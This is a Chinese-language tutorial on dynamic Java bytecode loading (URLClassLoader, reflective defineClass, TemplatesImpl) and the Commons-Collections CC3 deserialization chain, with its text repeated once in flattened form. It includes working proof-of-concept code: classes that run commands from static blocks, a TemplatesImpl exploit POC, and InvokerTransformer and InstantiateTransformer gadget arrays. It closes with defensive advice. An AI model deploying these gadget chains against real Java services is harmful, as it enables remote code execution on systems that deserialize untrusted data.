CC3
字数 3706 2025-10-29 23:25:25

Java动态加载字节码与CC3反序列化漏洞深入解析

文档版本: 1.0
发布日期: 2023-10-26
目标读者: 具备Java基础和安全入门知识的开发者、安全研究人员

一、 核心概念:Java字节码与动态加载

1.1 什么是Java字节码(ByteCode)?

  • 定义: Java字节码是一套专为Java虚拟机(JVM)设计的指令集。它是Java源代码(.java文件)经过编译器(javac)编译后生成的中间格式文件(.class文件)。
  • 核心价值 - 跨平台: Java的核心优势“一次编写,到处运行”正是基于字节码和JVM实现的。不同平台的JVM会解释执行相同的字节码,从而屏蔽底层操作系统的差异。
  • 扩展性: 任何能够被编译成合法Java字节码的语言(如Scala、Kotlin、Jython),都可以在JVM上运行。

1.2 什么是动态加载字节码?

  • 通常情况下,类是在JVM启动时或程序首次主动引用时,由类加载器从classpath下加载的。
  • 动态加载 指的是在程序运行时,通过特定的API,从非classpath的路径(如文件系统、网络地址、甚至内存中的字节数组)手动加载并初始化一个类。这为程序带来了极大的灵活性,但也引入了严重的安全风险。

二、 动态加载字节码的三种核心方法

2.1 利用 URLClassLoader 加载远程或本地class文件

  • 工作机制: URLClassLoader 是Java默认类加载机制的一个体现。它根据提供的URL基础路径来寻找并加载类。
    • 路径规则:
      • file:///path/to/dir/ (以/结尾):视为目录,使用 FileLoader 从文件系统加载。
      • file:///path/to/jar.jar (不以/结尾):视为JAR文件,使用 JarLoader 从JAR包中加载。
      • http://example.com/path/ (非file协议):使用基础的 Loader 从网络加载。
  • 示例1:加载本地class文件(file协议)
    // 待加载的恶意类 Calc.java
    import java.io.IOException;
    public class Calc {
        static { // 静态代码块,在类初始化时执行
            try {
                Runtime.getRuntime().exec("calc");
            } catch(IOException e) {
                e.printStackTrace();
            }
        }
    }
    
    // 加载并触发
    import java.net.URL;
    import java.net.URLClassLoader;
    
    public class ClassLoader_Calc {
        public static void main(String[] args) throws Exception {
            // 指向包含 Calc.class 文件的目录
            URLClassLoader urlClassLoader = new URLClassLoader(new URL[]{new URL("file:///E:\\")});
            Class calc = urlClassLoader.loadClass("Calc"); // 加载类
            calc.newInstance(); // 触发类的初始化,从而执行静态块中的代码
        }
    }
    
  • 示例2:加载远程class文件(http协议)
    // 在 http://localhost:8999/ 上提供 Calc.class 文件
    import java.net.URL;
    import java.net.URLClassLoader;
    
    public class HelloClassLoader {
        public static void main(String[] args) throws Exception {
            URL[] urls = {new URL("http://localhost:8999/")};
            URLClassLoader classLoader = URLClassLoader.newInstance(urls);
            Class c = classLoader.loadClass("Calc");
            c.newInstance();
        }
    }
    

2.2 利用 ClassLoader#defineClass 直接加载字节码

  • 核心流程: 标准的类加载流程是 loadClass -> findClass -> defineClass
    • loadClass: 遵循双亲委派模型,先检查类是否已加载,再委托父加载器。
    • findClass: 根据位置(文件系统、网络等)查找类的字节码。
    • defineClass最核心的一步。它接受一个字节数组(即.class文件的二进制内容),并将其转换为JVM内部的Class对象。这是一个final方法,包含了类验证、解析等复杂逻辑。
  • 关键点: defineClass 方法是protected的,无法直接调用。但可以通过反射来突破限制。
  • 示例:
    import java.lang.reflect.Method;
    import java.util.Base64;
    
    public class DefineClass {
        public static void main(String[] args) throws Exception {
            // 通过反射获取 defineClass 方法
            Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);
            defineClass.setAccessible(true); // 突破访问限制
    
            // 这里是 Hello.class 的 Base64 编码字节码
            byte[] code = Base64.getDecoder().decode("yv66vgAAADQAGwoABgANCQAOAA8IABAKABEAEgcAEwcAFAEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApTb3VyY2VGaWxlAQAKSGVsbG8uamF2YQwABwAIBwAVDAAWABcBAAtIZWxsbyBXb3JsZAcAGAwAGQAaAQAFSGVsbG8BABBqYXZhL2xhbmcvT2JqZWN0AQAQamF2YS9sYW5nL1N5c3RlbQEAA291dAEAFUxqYXZhL2lvL1ByaW50U3RyZWFtOwEAE2phdmEvaW8vUHJpbnRTdHJlYW0BAAdwcmludGxuAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWACEABQAGAAAAAAABAAEABwAIAAEACQAAAC0AAgABAAAADSq3AAGyAAISA7YABLEAAAABAAoAAAAOAAMAAAACAAQABAAMAAUAAQALAAAAAgAM");
    
            // 使用系统类加载器调用 defineClass,定义出 Hello 类
            Class hello = (Class) defineClass.invoke(ClassLoader.getSystemClassLoader(), "Hello", code, 0, code.length);
            hello.newInstance(); // 实例化,触发初始化
        }
    }
    

2.3 利用 TemplatesImpl 加载字节码(CC3链核心)

  • 背景: 直接使用反射调用defineClass在某些受限制的环境下可能不可行。我们需要找到一个在JDK自带的库中、能够被序列化/反序列化、并且内部调用了defineClass的“跳板”类。com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl 就是这样一个类。
  • 调用链分析(核心):
    1. 入口点: TemplatesImpl#newTransformer() 是一个公有方法。
    2. 触发实例化: newTransformer() 内部调用 getTransletInstance()
    3. 触发类定义: getTransletInstance() 内部调用 defineTransletClasses()
    4. 最终加载: defineTransletClasses() 使用其内部的 TransletClassLoader 来调用 defineClass(_bytecodes[i]),从而加载我们传入的恶意字节码。
  • 关键属性设置: 要成功利用TemplatesImpl,需要通过反射设置其私有字段:
    • _bytecodes: 设置为一个字节数组的数组(byte[][]),其中包含我们恶意类的字节码。
    • _name: 随意设置一个非空字符串(如"aaa"),避免空指针异常。
    • _tfactory: 必须设置为一个 TransformerFactoryImpl 实例,因为defineTransletClasses方法中会用到它。
    • _transletIndex: 这个值由defineTransletClasses方法计算得出。关键点在于,我们恶意类的父类必须是 com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet,否则 _transletIndex 会被设为 -1,导致后续实例化失败。
  • 完整的恶意类与POC:
    // 恶意类 Test.java,必须继承 AbstractTranslet
    import com.sun.org.apache.xalan.internal.xsltc.DOM;
    import com.sun.org.apache.xalan.internal.xsltc.TransletException;
    import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
    import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
    import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
    import java.io.IOException;
    
    public class Test extends AbstractTranslet {
        static { // 静态块,在类被定义时执行
            try {
                Runtime.getRuntime().exec("calc");
            } catch (IOException e) {
                throw new RuntimeException(e);
            }
        }
        // 实现父类抽象方法(内容可为空,但必须存在)
        @Override
        public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}
        @Override
        public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}
    }
    
    // 利用 TemplatesImpl 加载字节码的 POC
    import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
    import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
    import java.lang.reflect.Field;
    import java.nio.file.Files;
    import java.nio.file.Paths;
    
    public class HelloTemplateImpl {
        public static void main(String[] args) throws Exception {
            TemplatesImpl templates = new TemplatesImpl();
    
            // 使用反射设置私有字段
            setFieldValue(templates, "_name", "aaa");
            setFieldValue(templates, "_bytecodes", new byte[][]{Files.readAllBytes(Paths.get("E://Test.class"))});
            setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
    
            // 触发漏洞链
            templates.newTransformer();
        }
    
        static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
            Field field = obj.getClass().getDeclaredField(fieldName);
            field.setAccessible(true);
            field.set(obj, value);
        }
    }
    

三、 CC3反序列化漏洞链分析

CC3链是Commons-Collections反序列化漏洞家族中的一个,它结合了CC1的TransformedMap/LazyMap链和TemplatesImpl的动态加载字节码能力,实现了无需依赖第三方库(如javassist)的代码执行。

3.1 环境与依赖

  • Apache Commons Collections <= 3.2.1
  • JDK版本 < 8u71(或需要配置sun.reflect.noInflation等属性,因为高版本JDK对反射进行了优化,影响了CC1链的触发方式)。

3.2 两条主要的CC3链

链1:CC1 (InvokerTransformer) + TemplatesImpl

  • 思路: 利用CC1链中的InvokerTransformer,将其调用的方法指向TemplatesImpl#newTransformer
  • 构造: 将CC1链中最终执行命令的InvokerTransformer(如执行Runtime.exec的)替换为调用newTransformerInvokerTransformer
    // 关键Transformer设置
    Transformer[] transformers = new Transformer[] {
        new ConstantTransformer(templates), // templates 是设置好恶意字节码的TemplatesImpl对象
        new InvokerTransformer("newTransformer", null, null)
    };
    
  • 流程: 反序列化 -> CC1链触发 -> InvokerTransformer#transform(templates) -> templates.newTransformer() -> 触发TemplatesImpl链 -> 加载恶意字节码 -> 执行静态代码块中的命令。

链2:CC3 (InstantiateTransformer)

  • 思路: 利用InstantiateTransformer来实例化一个TrAXFilter对象。TrAXFilter的构造函数中会调用TemplatesImpl#newTransformer
  • 构造: 更为直接。通过InstantiateTransformernew一个TrAXFilter实例,并将TemplatesImpl对象传给它的构造函数。
    // 关键Transformer设置
    Transformer[] transformers = new Transformer[] {
        new ConstantTransformer(TrAXFilter.class),
        new InstantiateTransformer(
            new Class[] { Templates.class },
            new Object[] { templates }
        )
    };
    
  • 流程: 反序列化 -> Transformer链触发 -> InstantiateTransformer#transform(TrAXFilter.class) -> new TrAXFilter(templates) -> TrAXFilter构造函数 -> templates.newTransformer() -> 触发TemplatesImpl链。

四、 总结与关键点回顾

  1. 核心机制: 动态加载字节码的核心是绕过常规的类加载路径,通过defineClass方法将字节数组直接转换为JVM中的类。
  2. 关键类: TemplatesImpl 是JDK中一个极其重要的“跳板”,它提供了一个从公有方法到内部defineClass调用的完整路径,是许多高级漏洞利用链的基石。
  3. 利用前提: 使用TemplatesImpl时,恶意类必须继承AbstractTranslet,并且需要正确设置_bytecodes_name_tfactory等字段。
  4. 防御思路:
    • 代码层面: 避免反序列化不可信的数据。升级Commons Collections等有漏洞的库。
    • 策略层面: 使用Java安全管理器(SecurityManager)配置严格的权限策略,限制代码执行、文件读写、网络访问等敏感操作。
    • 运行时环境: 及时更新JDK,高版本JDK对反序列化漏洞有更好的内置防护。

这份文档详细拆解了从基础概念到高级利用的完整知识链。理解这些内容对于深入Java应用安全、代码审计和漏洞研究至关重要。

Java动态加载字节码与CC3反序列化漏洞深入解析 文档版本: 1.0 发布日期: 2023-10-26 目标读者: 具备Java基础和安全入门知识的开发者、安全研究人员 一、 核心概念:Java字节码与动态加载 1.1 什么是Java字节码(ByteCode)? 定义: Java字节码是一套专为Java虚拟机(JVM)设计的指令集。它是Java源代码(.java文件)经过编译器(javac)编译后生成的中间格式文件(.class文件)。 核心价值 - 跨平台: Java的核心优势“一次编写,到处运行”正是基于字节码和JVM实现的。不同平台的JVM会解释执行相同的字节码,从而屏蔽底层操作系统的差异。 扩展性: 任何能够被编译成合法Java字节码的语言(如Scala、Kotlin、Jython),都可以在JVM上运行。 1.2 什么是动态加载字节码? 通常情况下,类是在JVM启动时或程序首次主动引用时,由类加载器从 classpath 下加载的。 动态加载 指的是在 程序运行时 ,通过特定的API,从非 classpath 的路径(如文件系统、网络地址、甚至内存中的字节数组)手动加载并初始化一个类。这为程序带来了极大的灵活性,但也引入了严重的安全风险。 二、 动态加载字节码的三种核心方法 2.1 利用 URLClassLoader 加载远程或本地class文件 工作机制: URLClassLoader 是Java默认类加载机制的一个体现。它根据提供的URL基础路径来寻找并加载类。 路径规则: file:///path/to/dir/ (以 / 结尾):视为目录,使用 FileLoader 从文件系统加载。 file:///path/to/jar.jar (不以 / 结尾):视为JAR文件,使用 JarLoader 从JAR包中加载。 http://example.com/path/ (非 file 协议):使用基础的 Loader 从网络加载。 示例1:加载本地class文件(file协议) 示例2:加载远程class文件(http协议) 2.2 利用 ClassLoader#defineClass 直接加载字节码 核心流程: 标准的类加载流程是 loadClass -> findClass -> defineClass 。 loadClass : 遵循双亲委派模型,先检查类是否已加载,再委托父加载器。 findClass : 根据位置(文件系统、网络等)查找类的字节码。 defineClass : 最核心的一步 。它接受一个字节数组(即 .class 文件的二进制内容),并将其转换为JVM内部的 Class 对象。这是一个 final 方法,包含了类验证、解析等复杂逻辑。 关键点: defineClass 方法是 protected 的,无法直接调用。但可以通过反射来突破限制。 示例: 2.3 利用 TemplatesImpl 加载字节码(CC3链核心) 背景: 直接使用反射调用 defineClass 在某些受限制的环境下可能不可行。我们需要找到一个在JDK自带的库中、能够被序列化/反序列化、并且内部调用了 defineClass 的“跳板”类。 com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl 就是这样一个类。 调用链分析(核心): 入口点: TemplatesImpl#newTransformer() 是一个公有方法。 触发实例化: newTransformer() 内部调用 getTransletInstance() 。 触发类定义: getTransletInstance() 内部调用 defineTransletClasses() 。 最终加载: defineTransletClasses() 使用其内部的 TransletClassLoader 来调用 defineClass(_bytecodes[i]) ,从而加载我们传入的恶意字节码。 关键属性设置: 要成功利用 TemplatesImpl ,需要通过反射设置其私有字段: _bytecodes : 设置为一个字节数组的数组( byte[][] ),其中包含我们恶意类的字节码。 _name : 随意设置一个非空字符串(如 "aaa" ),避免空指针异常。 _tfactory : 必须设置为一个 TransformerFactoryImpl 实例,因为 defineTransletClasses 方法中会用到它。 _transletIndex : 这个值由 defineTransletClasses 方法计算得出。 关键点在于,我们恶意类的父类必须是 com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet ,否则 _transletIndex 会被设为 -1,导致后续实例化失败。 完整的恶意类与POC: 三、 CC3反序列化漏洞链分析 CC3链是Commons-Collections反序列化漏洞家族中的一个,它结合了CC1的 TransformedMap / LazyMap 链和 TemplatesImpl 的动态加载字节码能力,实现了无需依赖第三方库(如 javassist )的代码执行。 3.1 环境与依赖 Apache Commons Collections <= 3.2.1 JDK版本 < 8u71(或需要配置 sun.reflect.noInflation 等属性,因为高版本JDK对反射进行了优化,影响了CC1链的触发方式)。 3.2 两条主要的CC3链 链1:CC1 (InvokerTransformer) + TemplatesImpl 思路: 利用CC1链中的 InvokerTransformer ,将其调用的方法指向 TemplatesImpl#newTransformer 。 构造: 将CC1链中最终执行命令的 InvokerTransformer (如执行 Runtime.exec 的)替换为调用 newTransformer 的 InvokerTransformer 。 流程: 反序列化 -> CC1链触发 -> InvokerTransformer#transform(templates) -> templates.newTransformer() -> 触发 TemplatesImpl 链 -> 加载恶意字节码 -> 执行静态代码块中的命令。 链2:CC3 (InstantiateTransformer) 思路: 利用 InstantiateTransformer 来实例化一个 TrAXFilter 对象。 TrAXFilter 的构造函数中会调用 TemplatesImpl#newTransformer 。 构造: 更为直接。通过 InstantiateTransformer 来 new 一个 TrAXFilter 实例,并将 TemplatesImpl 对象传给它的构造函数。 流程: 反序列化 -> Transformer链触发 -> InstantiateTransformer#transform(TrAXFilter.class) -> new TrAXFilter(templates) -> TrAXFilter 构造函数 -> templates.newTransformer() -> 触发 TemplatesImpl 链。 四、 总结与关键点回顾 核心机制: 动态加载字节码的核心是绕过常规的类加载路径,通过 defineClass 方法将字节数组直接转换为JVM中的类。 关键类: TemplatesImpl 是JDK中一个极其重要的“跳板”,它提供了一个从公有方法到内部 defineClass 调用的完整路径,是许多高级漏洞利用链的基石。 利用前提: 使用 TemplatesImpl 时,恶意类 必须继承 AbstractTranslet ,并且需要正确设置 _bytecodes 、 _name 、 _tfactory 等字段。 防御思路: 代码层面: 避免反序列化不可信的数据。升级Commons Collections等有漏洞的库。 策略层面: 使用Java安全管理器(SecurityManager)配置严格的权限策略,限制代码执行、文件读写、网络访问等敏感操作。 运行时环境: 及时更新JDK,高版本JDK对反序列化漏洞有更好的内置防护。 这份文档详细拆解了从基础概念到高级利用的完整知识链。理解这些内容对于深入Java应用安全、代码审计和漏洞研究至关重要。